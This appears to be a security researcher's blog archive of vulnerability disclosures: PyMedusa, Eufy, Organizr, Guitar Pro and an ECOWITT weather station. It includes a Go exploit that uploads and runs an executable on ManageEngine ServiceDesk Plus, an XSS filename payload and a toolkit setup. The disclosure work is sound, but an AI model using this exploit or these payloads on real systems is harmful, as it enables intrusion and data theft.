Tag Archives: cybersecurity

Department of Defense Researcher of the Month

I was recently awarded the DoD Researcher of the Month for July, 2023. Between moving across the country and other hacking duties, I still had time to hammer away at a particular subdomain and found a bunch of stuff including a null byte truncated file extension file upload RCE that was present in multiple locations. Along with that I had some XSS, SQLi, and auth bypass, I think. I’m gonna try and repeat for August, since I’m on a roll, despite it only being VDP and not a Bug Bounty program. I have some good reports in, and a couple in the works, but I don’t know if they’ll be enough to win, lol. Hopefully I’ll get back to some bounty programs after August.

PyMedusa OS Command Injection

PyMedusa is a well-known video library manager that many of us self-hosted types may use to organize our libraries. I decided to give it a spin one day and found a classic OS command injection as seen here. I reported it ASAP, though I was a little confused as to how to fix it at that time, but the team fix it quite quickly. A great response time!

Sometimes people may say, “Hey, the OSCP is worthless and you won’t find anything like that IRL.” To that I’d reply, “You’d be surprised.” Also, this is a good example of OSWE level security issues. This is a Python app that you can simply clone, install the requirements, and debug easily in VSCode.

This was given CVE-2023-28627.

SQL Injection in Eufy Security Application

I found a textbook SQLi in the Eufy Security application.

Don’t mind the heavy use of red blocks to redact. The first, normal request. Everything looks fine. Notice the response time at 35 milliseconds.

a normal request as seen in Burp

The second request with a 10 second sleep payload. Notice the response time in the bottom right corner.

Was able to dump some info to confirm this was actually real.

It’s been reported and confirmed by Eufy.

Self-Hosted Security Part ? – Poor Rate Limiting in Organizr

Organizr is a self-hosted application written in PHP that basically helps you self-host other services at your home. It’s nifty application with a surprisingly large amount of functionality. I was recently poking at it to find some security holes, and the first thing I ran across was a rate limiting issue on the login function.

When making a POST request to login, there is a body parameter called loginAttempts. If your login fails, the value of this parameter is incremented (via client side JS) and included in the next login request. When the value reaches a certain number, which is verified in PHP on the backend, the user is locked out.

You can probably see where this is going. Just send it to Burp intruder and never increment the value. Tada!

POST request to login showing the loginAttemps parameter in the request body
loginAttempts is set to 1 and the request is sent to Burp Intruder for brute forcing

The PHP backend will always see the value of loginAttempts as 1, and brute forcing is allowed to occur.

The same endpoint and method is used to rate-limit 2FA code entry, which allows an attacker to also brute force a 2FA code. This takes a bit of time – I haven’t done the math – but it still works. An attacker can just sit back and fire away with Burp Intruder. A successful login will generate cookies that will work for their specified amount of time.

Burp screenshot showing the response when a successful 2FA code is submitted
Burp screenshot showing the response when a successful 2FA code is submitted

This issue has been reported on https://huntr.dev.

Guitar Pro Directory Traversal and Filename XSS

Edit: These were given CVE-2022-43263 and CVE-2022-43264.

I found these vulnerabilities in the latest version of Guitar Pro (1.10.2) on the iPad and iPhone. Neither one is that great of a concern, but they should still get fixed.

Both of these vulnerabilities stem from the feature of these applications that allows a user to import guitar tabs into their application.

Screenshot of iPhone application showing the server functionality.

First up, a filename XSS, which just happens to be one of my favorite vulnerabilities. I find this on a regular basis – even in 2022. If the user has the screen above open, you can navigate to the URL listed, where you will find the following website, which allows you to upload a file of your choosing. In this case, you can upload a file with the following name.

<img src=x onerror=alert('PizzaPowerWasHere)>.ptb

And the XSS should pop.

Next up is a directory traversal. I noticed this while running the upload/download process through Burp. Specifically, this stood out as suspicious.

http://192.168.1.71:8080/Documents/local://Guitar%20Pro%206%20Jingle.gpx

This just allows you to download a tab file from your device. The following Burp payload shows the obvious vulnerability.

You can request and receive the usual suspects e.g. passwd, hosts, etc.

Also, there is this endpoint that seems possibly dangerous. I didn’t test it because I didn’t want to delete something of importance.

The vendor has been notified.

Golang Proof of Concept Exploit for CVE-2021-44077: PreAuth RCE in ManageEngine ServiceDesk Plus < 11306

Once again, I decided to rewrite an exploit in Golang. Once again, I did thirty seconds of searching to find if someone had already written this one in Golang. Once again, I did not find a preexisting POC in Golang. Once again, I wrote one. Once again, my code is horrible.

You can find a vulnerable version of the software here. You can find this code on my Github here.

package main

import (
	"bytes"
	"crypto/tls"
	"flag"
	"fmt"
	"io/ioutil"
	"log"
	"mime/multipart"
	"net/http"
	"net/url"
	"os"
)

func uploadFile(uri string, paramName, path string) {

	file, err := os.Open(path)

	if err != nil {
		log.Fatal(err)
		return
	}
	fileContents, err := ioutil.ReadAll(file)
	if err != nil {
		log.Fatal(err)
		return
	}
	fi, err := file.Stat()
	if err != nil {
		log.Fatal(err)
		return
	}
	file.Close()

	body := new(bytes.Buffer)
	writer := multipart.NewWriter(body)
	part, err := writer.CreateFormFile(paramName, fi.Name())
	if err != nil {
		log.Fatal(err)
		return
	}
	part.Write(fileContents)
	writer.Close()

	request, err := http.NewRequest("POST", uri, body)
	if err != nil {
		log.Fatal(err)
	}

	request.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36")
	request.Header.Set("Origin", "null")
	request.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
	request.Header.Set("Content-Type", writer.FormDataContentType())

	// set a proxy for troubleshooting
	proxyUrl, err := url.Parse("http://localhost:9090")
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		Proxy:           http.ProxyURL(proxyUrl),
	}
	client := &http.Client{Transport: tr}

	resp, err := client.Do(request)
	if err != nil {
		log.Fatalln(err)
	} else {
		fmt.Println("Response code should be 401, if successful uploading occured.")
		fmt.Println(resp.StatusCode)
	}

	defer resp.Body.Close()

	return
}

func triggerExploit(uri string) {
	// set a proxy for troubleshooting
	proxyUrl, err := url.Parse("http://localhost:9090")
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		Proxy:           http.ProxyURL(proxyUrl),
	}
	client := &http.Client{Transport: tr}

	triggerURL := uri + "RestAPI/s247action"
	postData := "execute=s247AgentInstallationProcess"

	request, err := http.NewRequest("POST", triggerURL, bytes.NewBufferString(postData))
	if err != nil {
		return
	}

	request.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36")
	request.Header.Set("Origin", "null")
	request.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
	request.Header.Set("Content-Type", "application/x-www-form-urlencoded")

	client.Do(request)
}

func main() {
	// get flags
	VulnerableInstance := flag.String("u", "http://127.0.0.1:8080", "Vulnerable Service Desk URL: http://127.0.0.1:8080")
	maliciousFileName := flag.String("f", "exploit.exe", "File you want to upload: exploit.exe")

	flag.Parse()

	path, err := os.Getwd()
	if err != nil {
		log.Fatal(err)
	}
	fullMaliciousFileName := path + *maliciousFileName

	fmt.Println("\n---> Uploading File!")
	uploadFile(*VulnerableInstance+"RestAPI/ImportTechnicians?step=1", "theFile", fullMaliciousFileName)

	fmt.Println("\n---> Triggering!")
	triggerExploit(*VulnerableInstance)

	fmt.Println("\nExploit Completed!")

}

The Incredibly Insecure Weather Station – Part 2

Edit: The weather station issues were given CVE-2022-35122.

I contacted the manufacturer in regards to these issues. They responded quickly. I wasn’t expecting anything to be done about the issues that I brought up, but they did do something…

I logged into my weather station yesterday, an lo and behold, there is an update. Most notably the following, “added password encryption for HTTP transmission.”

Screenshot from the app itself showing the update notes.

Encryption for the password during HTTP transmission? What does this even mean? HTTPS? Why wouldn’t they just say HTTPS? Just encrypting the password client side and sending it to the station for decryption? That seems odd. I was hoping for HTTPS, but I would soon be let down.

curl request from before and after the ‘upgrade’

Before updating, I decided to try and make the curl request as I had done before to the get_device_info endpoint. As before, the password to the system was returned.

Next, I upgraded the device and then made the same request. Would you look at that, the APpwd now does look ‘encrypted.’ But, as you may have guessed, it is actually just base 64 encoded.

V2VhdGhlcjI0Njg5 –> Weather24689

bae64 decoding

Or, using jq, you can do this all on the CLI.

I think this is a losing battle.

The Incredibly Insecure Weather Station

Edit: This was given CVE-2022-35122.

I recently purchased the ECOWITT GW1102 Home Weather Station. It’s exactly what it sounds like – a mini weather station for your house. It has all the usual sensors you’d expect a weather station to have, and I’m actually very pleased with the hardware, considering the cheap price.

However, it is missing one thing – software security. But really, what did I expect from a cheap home weather station?

Comically, the landing page of the weather station’s server gives an illusion of some sort of security.

Password goes here.

Let’s intercept a request of us logging in.

Don’t steal my password.

This is all over HTTP. We post our password to /set_login_info – which seems like an odd endpoint for logging in. Notice the response does not set any cookies or seem like it actually does any sort of verification. Hmmm.

Anyway, after logging in, we are directed to /liveData.html. This page does exactly what its name implies. But let’s look at the links on the side of the page – particularly the Local Network link.

Click the Local Network link on the left-hand side.

If we intercept the requests in Burp after we click the Local Network link, we see a call to a /get_network_info endpoint. This returns info about the WiFi network to which the weather station is connected.

That’s my WiFi SSID and password.

Interesting. Notice again that there appears to be no authentication going on with this request. Let’s try to curl this endpoint

Uh oh.

Or how about the device password (not that you actually need the password now).

The password is now Weather24689 because I changed it without being authorized.

You can also do fun things like reboot the station, or get the user’s external weather reporting site’s API keys, etc. I notified ECOWITT support, but I’m assuming this won’t be fixed any time soon.

Edit: added this because someone didn’t understand this is an issue.

Edit: I added this picture above of the get_ws_settings endpoint. As you can see, I’m not using any authentication. You can also see I was trying some shenanigans, but nonetheless, you can also see this returns several API keys for other services, which is not a good thing to be handing out. It basically is the API endpoint for this page that is behind the ‘authentication’ of the application.

I did find some of these exposed to the internet, but I’d probably avoid that, if I were you. With that said, I actually like the hardware. It’s fun to play around with, and it is inexpensive.

Deploying and Configuring a Bug Bounty Box with Terraform and Ansible

Prerequisites and Getting Started

I sometimes like to spin up a virutal machine in the cloud, do some testing, and then tear it down. It doesn’t even have to be for bug bounty hunting, but since I’ve been hunting so sporadically lately, that’s what I’ve been using this project for.

Anyway, it becomes tedious to do this repeatedly, so I decided to automate a large majority of the infrastructure creation and configuration with Terraform and Ansible.

In the following article, I’ll deploy a node on Linode, my VPS provider of choice. Use this referral link for a $100, 60-day credit. That way, you can test this project out until you’re blue in the face. The node size I deploy in this post runs $10 a month.

While Terraform and Ansible can both accomplish the same things, they both have their wheel houses. Terraform should be used for deploying infrastructure and Ansible should be used to configure that infrastructure.

In order to follow along with this article, you’ll need to install Terraform and Ansible per your Operating System’s documentation. I’m using Ubuntu 20.10.

Let’s begin b creating a directory structure for your project.

mkdir -p ./bugbounty/{/terraform/templates,ansible}

Next, you’ll need to obtain credentials from Linode. If you haven’t already, create an account, then click on your account name in the top, right-hand corner and select “API Tokens.”

Select create an access token and give it a name. Select Linodes and Read/Write, and then click “Create Token.”

Linode Read/Write Access Token

The token will be a long string of characters. Save this token for usage in a bit!

Terraform

cd into the Terraform directory you just created and create the following files:

$ touch {main.tf,output.tf,variables.tf,variables.tfvars}

The main.tf file is where the magic is done. This file will create the VM to our specifications. The variables.tf file declares variables that are used in main.tf. variables.tfvars will have the initializing values for these variables. You can also initialize the variables directly in variables.tf or even on the command line, if you’d prefer. We do it this way because it makes updating variables slightly easier and our project simpler, in a sense. output.tf defines what values will be printed to the console after we run the project.

Next, create some templates within the templates directory.

touch {./templates/ansible.tmpl,./templates/playbook.tmpl,./templates/hosts}
main.tf

Copy the following code into main.tf:

terraform {
  required_providers {
    linode = {
      source  = "linode/linode"
      version = "1.27.0"
    }
  }
}

# Configure the Linode Provider
provider "linode" {
  token = var.token
}

# Create a Linode
resource "linode_instance" "bugbountybox" {
  image     = var.image
  label     = var.label
  region    = var.region
  type      = var.type
  root_pass = var.root_pass
}

# Create an Ansible playbook from a template file
resource "local_file" "bugbountybox_setup" {
  content = templatefile("./templates/playbook.tmpl",
    {
      ip_address = linode_instance.bugbountybox.ip_address
    }
  )
  file_permission = "0640"
  filename        = "../ansible/playbook.yml"
}

# Create an Ansible config from a template file. 
resource "local_file" "ansible_config" {
  content = templatefile("./templates/ansible.tmpl",
    {
      remote_user = "root"
    }
  )
  file_permission = "0640"
  filename        = "../ansible/ansible.cfg"
}

# Create an Ansible playbook from a template file
resource "local_file" "ansible_inventory" {
  content         = linode_instance.bugbountybox.ip_address
  file_permission = "0640"
  filename        = "../ansible/hosts"
}
variables.tf

Copy the following code into variables.tf:

variable "token" {
  type        = string
  description = "Linode APIv4 token."
  sensitive   = true
}

variable "image" {
  type        = string
  description = "Image to use for your VM."
  default     = "linode/ubuntu20.04"
}

variable "label" {
  type        = string
  description = "Label to give your VM."
}

variable "region" {
  type        = string
  description = "Region where the VM will be created."
}

variable "root_pass" {
  type        = string
  description = "Password for the root account on this VM."
  sensitive   = true
}

variable "type" {
  description = "Your Linode's plan type."
  # You can initialize variables here instead of the tfvars file. 
  default = "g6-standard-1"
}
variables.tfvars

Copy the following code into variables.tfvars, and enter the values as needed:

token     = "" # put your API token here. 
image     = "linode/ubuntu20.04"
label     = "bug-bounty-box"
region    = "us-east"
root_pass = "" # put your new VM's password here. 
output.tf

Copy the following code into output.tf:

output "IP_Address" {
  value = linode_instance.bugbountybox.ip_address
}

Templates

The templates will be used by Terraform to create files that Ansible will use. We could manually create/edit these Ansible files, but why do things manually when we can automate it?

Copy the following code into ansible.tmpl:

[defaults]
host_key_checking = False
remote_user = ${ remote_user }
ask_pass      = True

Copy the following code into playbook.tmpl:

---
- name: Update/upgrade and install packages on remote server.
  hosts: ${ ip_address }
  become: true
  tasks:
    - name: Update
      apt: update_cache=yes force_apt_get=yes cache_valid_time=3600

    - name: Upgrade all packages on servers
      apt: upgrade=dist force_apt_get=yes

    - name: Install packages
      apt:
        pkg:
          - ca-certificates
          - curl
          - apt-transport-https
          - lsb-release
          - gnupg
          - software-properties-common
          - python3-pip
          - unzip
          - tar
          - tmux
          - gobuster
          - wireguard
          - wireguard-tools
          - john
          - hashcat
          - nikto
          - ruby-full
          - ruby-railties
          - hydra
          - cewl
          - whois
          - squid
          - nmap
          - git
          - python3-impacket

        update_cache: true

    - name: Install Golang
      shell: |
        wget https://go.dev/dl/go1.18.linux-amd64.tar.gz
        tar -xvf go1.18.linux-amd64.tar.gz
        chown -R root:root ./go
        mv go /usr/local
        echo "export GOPATH=$HOME/go" >> $HOME/.bashrc
        echo "export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin" >> $HOME/.bashrc
      args:
        executable: /bin/bash

    - name: Install Amass
      shell: |
        curl -s https://api.github.com/repos/OWASP/Amass/releases/latest | grep "browser_download_url.*linux_amd64.zip" | cut -d : -f 2,3 | tr -d \" | wget -i -
        unzip amass* 
        chmod +x ./amass_linux_amd64/amass 
        mv ./amass_linux_amd64/amass /usr/bin/
      args:
        executable: /bin/bash

    - name: Install Nuclei
      shell: |
        curl -s https://api.github.com/repos/projectdiscovery/nuclei/releases/latest | grep "browser_download_url.*linux_amd64.zip" | cut -d : -f 2,3 | tr -d \" | wget -i -
        unzip nuclei* nuclei
        chmod +x nuclei
        mv nuclei /usr/bin/
      args:
        executable: /bin/bash

    - name: Install FFUF
      shell: |
        curl -s https://api.github.com/repos/ffuf/ffuf/releases/latest | grep "browser_download_url.*linux_amd64.tar.gz" | cut -d : -f 2,3 | tr -d \" | wget -i -
        tar xzf ffuf* ffuf
        chmod +x ffuf
        mv ffuf /usr/bin/
      args:
        executable: /bin/bash

    - name: Install Subfinder
      shell: |
        curl -s https://api.github.com/repos/projectdiscovery/subfinder/releases/latest | grep "browser_download_url.*linux_amd64.zip" | cut -d : -f 2,3 | tr -d \" | wget -i -
        unzip subfinder* subfinder
        chmod +x subfinder
        mv subfinder /usr/bin/
      args:
        executable: /bin/bash

    - name: Install Aquatone
      shell: |
        curl -s https://api.github.com/repos/michenriksen/aquatone/releases/latest | grep "browser_download_url.*linux_amd64-*" | cut -d : -f 2,3 | tr -d \" | wget -i -
        unzip aquatone* aquatone
        chmod +x aquatone 
        mv aquatone /usr/bin
      args:
        executable: /bin/bash

    - name: Install getallurls (gau)
      shell: |
        curl -s https://api.github.com/repos/lc/gau/releases/latest | grep "browser_download_url.*linux_amd64.tar.gz" | cut -d : -f 2,3 | tr -d \" | wget -i -
        tar xzf gau* gau 
        chmod +x gau 
        mv gau /usr/bin
      args:
        executable: /bin/bash

    - name: Install CrackMapExec
      shell: |
        wget https://github.com/byt3bl33d3r/CrackMapExec/releases/download/v5.2.2/cme-ubuntu-latest.zip
        unzip cme-ubuntu-latest.zip -d "$HOME/tools/*"
        pip3 install cffi==1.14.5
      args:
        executable: /bin/bash

    - name: Reboot the box
      reboot:
        msg: "Reboot initiated by Ansible for updates"
        connect_timeout: 5
        reboot_timeout: 300
        pre_reboot_delay: 0
        post_reboot_delay: 30
        test_command: uptime

If you take a close look at these templates, you’ll see variables indicated with the following templating syntax:

${ variable_name }

These are “filled in” during the terraform apply process. We only have a single variable in each of these files, but you can use as many as you’d like depending on what you’re trying to accomplish. This is a very powerful feature. It allows you to dynamically create files to be used in other processes – in our case, Ansible.

It’s Alive!

We are ready to create our infrastructure by running the following commands within the terraform directory. Type “yes” when prompted after the apply command.

$ terraform init

$ terraform fmt

$ terraform validate

$ terraform apply -var-file="./variables.tfvars"

The terraform init command initializes the project directory. terraform fmt formats the files to the canonical style. terraform validate validates the project to ensure it will work properly. Finally, terraform apply creates your infrastructure using the tfvars file you specified.

If everything goes as planned, you should see output similar to this.

terraform apply output

As you can see, the IP address of our VM was present in the output as we specified in outputs.tf.

Ansible

During the infrastructure creation process, several files should have been created in the ansible directory. Ansible will use these files update/upgrade and install packages on our VM. From the ansible directory we run the following command to configure our new VM. At the start, you will be prompted for the SSH password that you used in your tfvars file.

$ ansible-playbook -i hosts playbook.yml

We need to specify the hosts file that Terraform created so Ansible doesn’t use the hosts file located in /etc/ansible.

This process will take a few minutes to complete, but if all went as planned, you should see something similar to this on your terminal.

Tear it Down

When you are all done playing around with your new VM, you can destroy it with the following command. Please remember to destroy it or else you will incur costs. Type “yes” when prompted.

$ terraform destroy -var-file="./variables.tfvars"

What’s Next?

Now, play around with the above project. Can you set it up to deploy multiple VMs? Can you set it up to deploy multiple VMs, install some other packages, run some commands and send the output of those commands to a database somewhere? Can you set this up on multiple clouds?

The example here is pretty basic, and doesn’t necessarily follow best practices (especially with Ansible), but it gives you the idea of what can be done with automation. Some, if not all, of the leading bug bounty hunters are at least partially automating their work. You should automate too.

Feel free to download all this code from my github and don’t forget to use my link to sign up for a Linode account.

Links

Here are some links to more information and documentation that is pertinent to this article, including a link to this code on Github.

https://www.github.com/pizza-power/bugbountyboxautomation

https://www.terraform.io/cli

https://www.linode.com/docs/guides/how-to-build-your-infrastructure-using-terraform-and-linode/

https://registry.terraform.io/providers/linode/linode/latest/docs

Sharpshooter, Python2.7, and Pip2 Installation

Newer versions of Linux may not come with any sort of Python 2 installed. I recently wanted to run Sharpshooter, which is a “payload creation framework for the retrieval and execution of arbitrary CSharp source code.”

Problem is, Python 2 isn’t installed by default on Ubuntu 21.xx and neither is pip2. You also need to install an older (I think) version of jsmin – at least that’s what worked for me.

Use this script to install everything and get it up and running.

if [ "$EUID" -ne 0 ]
    then echo "Run as root!"
    exit
fi

# clone sharpshooter from github
git clone https://github.com/mdsecactivebreach/SharpShooter.git

add-apt-repository universe && apt update

apt install git curl

# install python2.7 and pip2
apt install python2.7 -y
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
chmod +x ./get-pip.py
sudo python2.7 ./get-pip.py

# install correct jsmin
wget https://files.pythonhosted.org/packages/17/73/615d1267a82ed26cd7c124108c3c61169d8e40c36d393883eaee3a561852/jsmin-2.2.2.tar.gz
tar xzf jsmin-2.2.2.tar.gz
python2.7 ./jsmin-2.2.2/setup.py install